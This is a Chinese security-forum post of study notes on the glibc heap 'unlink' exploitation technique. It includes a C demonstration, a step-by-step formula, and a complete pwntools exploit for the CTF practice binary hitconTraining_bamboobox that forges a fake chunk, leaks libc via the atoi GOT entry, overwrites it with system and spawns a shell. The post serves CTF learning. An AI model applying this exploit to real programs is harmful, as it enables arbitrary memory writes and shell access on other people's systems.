首页
论坛
课程
招聘
[原创]PWN学习笔记【堆】【unlink】
2022-6-23 12:31 15408

[原创]PWN学习笔记【堆】【unlink】

2022-6-23 12:31
15408

0x01chunk合并

chunk结构体大致如下

struct chunk
{
    size_t prev_size;
    size_t size;//低3位不算在size里面
    union
    {
        struct
        {
            chunk* fd;
            chunk* bk;
        };
        char userdata[0];
    }
}

size的低三位表示为:

这里会用到  PREV_INUSE(P): 表示前一个chunk是否为allocated。


P位为1时代表物理相邻的前一个chunk为free状态,此时prev_size代表前一个chunk的大小

非fastbin的chunk在free时会与物理相邻的空闲chunk合并


0x02 unlink漏洞

非fastbin中的chunk使用的是双向链表,使用chunk的fd、bk链接

设需要unlink的指针为P,在unlink时,进行如下操作:

高版本的libc会检测BK和FD的指针是否指向P:

if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \  
    malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \


伪造一个fake_chunk,绕过unlink的检测,即可任意地址写


0x03 漏洞利用

1.设有相邻的两块chunk,p,f,使得f,free后不进入fastbin(chunk size>0x80)

2.在p中创建一个伪造chunk块fake_chunk,使p->Fd= &p-3*sizeof(size_t);p->bK= &p-2*sizeof(size_t)

3.修改f的chunk头,使prev_size=fake_chunk_size, PREV_INUSE = 0

4.free(f),这时glibc查看f的chunk头,发现f的上一个chunk是free状态,就把上一个chunk(p)拿来合并


此时正好满足glibc检测条件,unlink后,先执行p=&b;再执行p=&a; 最后结果就是p指向a的首地址,从而控制了从a到p的地址(假如a可写)


0x04 实验

直接上代码:

#include <stdio.h>

size_t* a = NULL;
size_t* b = NULL;
size_t* c = NULL;
size_t* p = NULL;
size_t* f = NULL;

int main()
{
    p = malloc(0x80);
    f = malloc(0x80);
    malloc(0x10);

    //set f->PREV_INUSE = 0
    p[17] = 0x90;//*(f-1) = 0x90;
    //set f->prev_size = 0x80(fakechunk size)
    p[16] = 0x80;//*(f-2) = 0x80;

    //fakechunk
    p[0] = 0;
    p[1] = 0x81;
    p[2] = &a;
    p[3] = &b;

    //unlink
    free(f);

    if(&a == p)
    {
        printf("hack!!!!\n");
        p[0] = 0x11111111;
        p[1] = 0x22222222;
        p[2] = 0x33333333;
        p[3] = 0x44444444;

        printf("a = %p\n", a);
        printf("b = %p\n", b);
        printf("c = %p\n", c);
        printf("p = %p\n", p);
    }
    return 0;
}//gcc -g test.c

/*多申请一块chunk,防止合并到top chunk里面*/

假设我们只可以控制p、f的申请,释放,写入,unlink后p的地址可控,即可任意地址写

0x05 总结公式

feak_chunk->Fd = &p - 3*sizeof(size_t);

feak_chunk->Bk = &p - 2*sizeof(size_t);

f->PREV_INUSE = 0;

f->prev_size = chunk_size(feak_chunk);

free(f)

p[3] = 需要覆盖的地址()

printf("%s",p) 泄露需要覆盖的地址

p[0] = system

调用需要覆盖的地址()拿shell


0x06 一道题 hitconTraining_bamboobox

程序功能就是堆的增删改查

add:

change()函数没有检测chunk的大小,可以溢出到下一个堆块,覆盖chunk头

show()用来泄露glibc


套用公式的exp

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'

sh = process("./bamboobox")#gdb.debug("./bamboobox")
bambooboxElf = ELF("./bamboobox")
libcElf = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def pause_debug():
    try:
        raise Exception
    except:
        f = sys.exc_info()[2].tb_frame.f_back
 
    debug("pause_debug [%d]" %f.f_lineno)
    pause()
    return


def show():
    sh.sendlineafter(b"Your choice:", b"1")

def add(length, name):
    sh.sendlineafter(b"Your choice:", b"2")
    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())
    sh.sendlineafter(b"Please enter the name of item:", name)

def change(index, length, name):
    sh.sendlineafter(b"Your choice:", b"3")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
    sh.sendlineafter(b"Please enter the length of item name:", str(length + 1).encode())
    sh.sendlineafter(b"Please enter the new name of the item:", name)

def remove(index):
    sh.sendlineafter(b"Your choice:", b"4")
    sh.sendlineafter(b"Please enter the index of item:", str(index).encode())


add(0x40, "aaa")
add(0x80, "bbb")
add(0x80, "ccc")


# .bss:00000000006020C0 ; Box itemlist[100]
index1_p = 0x00000000006020C0 + 8

payload = flat([
    p64(0),                             #feak_chunk->prev_size 
    p64(0x41),                          #feak_chunk->size 
    p64(index1_p - 3*8),                #feak_chunk->Fd = &p - 3*sizeof(size_t);
    p64(index1_p - 2*8),                #feak_chunk->Bk = &p - 2*sizeof(size_t);
    b'a' * 0x20,                        #feak_chunk->user_data
    p64(0x40),                          #f->prev_size 
    p64(0x90)                           #f->size 
])
change(0, len(payload), payload)
remove(1)

payload = flat([
    p64(0) * 3,
    p64(bambooboxElf.got["atoi"])        #p[3] = 需要覆盖的地址()
])

change(0, len(payload), payload)
show()                                    #printf("%s",p) 泄露需要覆盖的地址
sh.recvuntil("0 : ")
libc = sh.recv(6).ljust(8,b"\x00")
libc = u64(libc)
success("libc:%x" %libc)
libcBase = libc - libcElf.sym["atoi"]
success("libcBase:%x" %libcBase)

change(0, 8, p64(libcBase + libcElf.sym["system"]))      #需要覆盖的地址(atoi_got)=system
# pause_debug()
sh.sendlineafter(b"Your choice:", b"/bin/sh")            #调用system拿shell
sh.interactive()



[招生]科锐逆向工程师培训46期预科班将于 2023年02月09日 正式开班

上传的附件:
收藏
点赞8
打赏
分享
打赏 + 100.00雪花
打赏次数 1 雪花 + 100.00
 
赞赏  Editor   +100.00 2022/07/13 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (2)
雪    币: 2072
活跃值: 活跃值 (12168)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
飘零丶 活跃值 2022-7-7 11:14
2
0
感谢分享
雪    币: 220
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸡雪 活跃值 2022-10-14 18:09
3
0
师傅想问一下,为什么要-3*sizeof(size_t) 和 -2*sizeof(size_t)啊,有点不大理解取FD和BK是,取fd不应该是+2*sizeof(size_t)吗 这样才可以获取到p->fd,难道p指向的是底部吗 
游客
登录 | 注册 方可回帖
返回